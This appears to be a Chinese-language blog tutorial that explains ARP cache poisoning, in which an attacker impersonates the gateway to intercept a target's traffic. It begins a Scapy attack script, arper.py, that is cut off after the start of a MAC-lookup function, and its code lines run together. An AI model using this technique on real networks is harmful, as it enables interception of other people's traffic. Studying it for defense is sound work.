原理介绍
https://mohen.blog.csdn.net/article/details/100576912
投毒技术
ARP投毒的逻辑:欺骗目标设备,使其相信我们是它的网关;然后欺骗网关,告诉它要发给目标设备的所有流量必须交给我们转发。网络上的每一台设备,都维护着一段ARP缓存,里面记录着最近一段时间本地网络上的MAC地址和IP地址的对应关系。为了实现这一攻击,我们会往这些ARP缓存中投毒,即在缓存中插入我们编造的记录。另外,ARP投毒只对IPv4有效,对IPv6是无效的。
代码
arper.py
#!/usr/bin/python
#-*- coding:utf8 -*-from scapy.all import *
from multiprocessing import Process
import os
import sys
import time# 获取任意设备的MAC地址
def get_mac(targetip):# 传入目标IP地址并创建一个查询数据包# Ether函数将这个数据包全网广播# ARP函数构造一个MAC地址查询请求,询问每个节点其它地址是否为这个目标IP地址packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op='who-has',pdst=targetip)# srp函数发送和接收数据包,发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac